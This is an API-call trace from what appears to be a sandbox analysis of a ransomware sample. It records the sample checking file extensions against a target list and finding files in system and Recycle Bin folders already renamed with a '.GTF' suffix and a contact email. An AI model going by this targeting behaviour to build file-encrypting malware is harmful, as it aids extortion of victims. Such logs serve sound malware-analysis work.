	[0152.766] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mov") returned 4
	[0152.766] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mp3") returned 4
	[0152.766] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mp4") returned 4
	[0152.766] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mpeg") returned 5
	[0152.766] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0152.766] lstrlenW (lpString=".mpg") returned 4
	[0152.766] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mpv") returned 4
	[0152.766] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mrw") returned 4
	[0152.766] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".msg") returned 4
	[0152.766] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mxl") returned 4
	[0152.766] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".myd") returned 4
	[0152.766] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".myi") returned 4
	[0152.766] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".nef") returned 4
	[0152.766] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".nrw") returned 4
	[0152.766] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".obj") returned 4
	[0152.767] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".odb") returned 4
	[0152.767] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".odc") returned 4
	[0152.767] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".odm") returned 4
	[0152.767] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".odp") returned 4
	[0152.767] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".ods") returned 4
	[0152.767] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".oft") returned 4
	[0152.767] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".one") returned 4
	[0152.767] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".onepkg") returned 7
	[0152.767] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0152.767] lstrlenW (lpString=".onetoc2") returned 8
	[0152.767] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0152.767] lstrlenW (lpString=".opt") returned 4
	[0152.767] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".oqy") returned 4
	[0152.767] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".orf") returned 4
	[0152.767] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".p12") returned 4
	[0152.767] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".p7b") returned 4
	[0152.767] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".p7c") returned 4
	[0152.767] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".pam") returned 4
	[0152.767] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".pbm") returned 4
	[0152.767] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0152.767] lstrlenW (lpString=".pct") returned 4
	[0152.767] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pcx") returned 4
	[0152.768] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pdd") returned 4
	[0152.768] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pdf") returned 4
	[0152.768] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pdp") returned 4
	[0152.768] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pef") returned 4
	[0152.768] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pem") returned 4
	[0152.768] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pff") returned 4
	[0152.768] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pfm") returned 4
	[0152.768] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pfx") returned 4
	[0152.768] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pgm") returned 4
	[0152.768] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".php") returned 4
	[0152.768] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".php3") returned 5
	[0152.768] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0152.768] lstrlenW (lpString=".php4") returned 5
	[0152.768] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0152.768] lstrlenW (lpString=".php5") returned 5
	[0152.768] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0152.768] lstrlenW (lpString=".phtml") returned 6
	[0152.768] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0152.768] lstrlenW (lpString=".pict") returned 5
	[0152.768] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0152.768] lstrlenW (lpString=".pl") returned 3
	[0152.768] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0152.768] lstrlenW (lpString=".pls") returned 4
	[0152.768] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0152.768] lstrlenW (lpString=".pm") returned 3
	[0152.768] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0152.769] lstrlenW (lpString=".png") returned 4
	[0152.769] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".pnm") returned 4
	[0152.769] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".pot") returned 4
	[0152.769] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".potm") returned 5
	[0152.769] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0152.769] lstrlenW (lpString=".potx") returned 5
	[0152.769] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0152.769] lstrlenW (lpString=".ppa") returned 4
	[0152.769] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".ppam") returned 5
	[0152.769] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0152.769] lstrlenW (lpString=".ppm") returned 4
	[0152.769] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".pps") returned 4
	[0152.769] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".ppsm") returned 5
	[0152.769] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0152.769] lstrlenW (lpString=".ppt") returned 4
	[0152.769] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".pptm") returned 5
	[0152.769] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0152.769] lstrlenW (lpString=".pptx") returned 5
	[0152.769] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0152.769] lstrlenW (lpString=".prn") returned 4
	[0152.769] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".ps") returned 3
	[0152.769] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0152.769] lstrlenW (lpString=".psb") returned 4
	[0152.769] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".psd") returned 4
	[0152.769] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".pst") returned 4
	[0152.769] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0152.769] lstrlenW (lpString=".ptx") returned 4
	[0152.769] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0152.770] lstrlenW (lpString=".pub") returned 4
	[0152.770] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0152.770] lstrlenW (lpString=".pwm") returned 4
	[0152.770] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0152.770] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4afffb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4afffb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="OOBE_2~1.GTF")) returned 1
	[0152.770] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d601c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4d601c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c4d601c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 1
	[0152.770] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d601c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4d601c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c4d601c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 0
	[0152.770] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a00748 | out: hHeap=0x5a0000) returned 1
	[0152.771] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0152.771] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3a00748
	[0152.771] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb182fb, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="GetCurrentOOBE.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="GETCUR~2.GTF")) returned 1
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b720eb8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b720eb8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b746982, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="GETCUR~1.GTF")) returned 1
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd19b9e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dd19b9e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2a9554, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="PartnerSetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 1
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dccd698, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dccd698, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dcf3919, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="preoobe.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PREOOB~1.GTF")) returned 1
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dca74eb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dca74eb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPC~1.GTF")) returned 1
	[0152.773] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dca74eb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dca74eb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPC~1.GTF")) returned 0
	[0152.773] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a00748 | out: hHeap=0x5a0000) returned 1
	[0152.774] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0152.774] FindClose (in: hFindFile=0x5ba730 | out: hFindFile=0x5ba730) returned 1
	[0152.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0152.775] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0152.776] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x39f0740
	[0152.776] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName=".", cAlternateFileName="")) returned 0x5ba730
	[0152.778] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="..", cAlternateFileName="")) returned 1
	[0152.778] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9b82bbc6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b82bbc6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0152.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3a00748
	[0152.778] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x607, dwReserved0=0xffffd6f5, dwReserved1=0x609, cFileName="", cAlternateFileName="㪀b\x08")) returned 0xffffffff
	[0152.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a00748 | out: hHeap=0x5a0000) returned 1
	[0152.778] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0152.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3a00748
	[0152.778] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd6f5, dwReserved1=0x609, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.779] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd6f5, dwReserved1=0x609, cFileName="..", cAlternateFileName="")) returned 1
	[0152.779] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xca52597d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffd6f5, dwReserved1=0x609, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0152.779] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b76cbf0, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd6f5, dwReserved1=0x609, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 1
	[0152.779] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b76cbf0, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd6f5, dwReserved1=0x609, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 0
	[0152.779] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a00748 | out: hHeap=0x5a0000) returned 1
	[0152.779] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0152.779] FindClose (in: hFindFile=0x5ba730 | out: hFindFile=0x5ba730) returned 1
	[0152.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0152.780] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
